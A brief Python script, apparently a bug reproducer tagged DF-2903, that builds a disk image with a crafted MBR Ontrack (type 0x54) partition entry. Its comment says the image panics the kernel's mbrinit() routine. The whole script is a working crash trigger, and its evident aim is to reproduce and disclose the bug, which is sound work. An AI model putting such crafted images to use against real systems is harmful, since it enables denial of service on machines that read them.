#!/usr/bin/env python3
# DF-2903 trigger image: single DOSPTYP_ONTRACK (0x54) entry + valid MBR magic.
# On stock kernels this panics mbrinit() at the Ontrack brelse() (pbuf misuse).
import struct

SECT = 512
b = bytearray(SECT)
struct.pack_into('<BBBBBBBBII', b, 446,
                 0x00, 0, 1, 0, 0x54, 0, 1, 0, 100, 100)  # type 0x54 Ontrack
b[510:512] = b'\x55\xaa'

img = bytearray(64 * SECT)
img[0:SECT] = b                       # MBR at LBA 0
img[63*SECT:64*SECT] = b              # same table at LBA 63 (for the re-read)
open('ontrack.img', 'wb').write(bytes(img))
print('wrote ontrack.img', len(img))
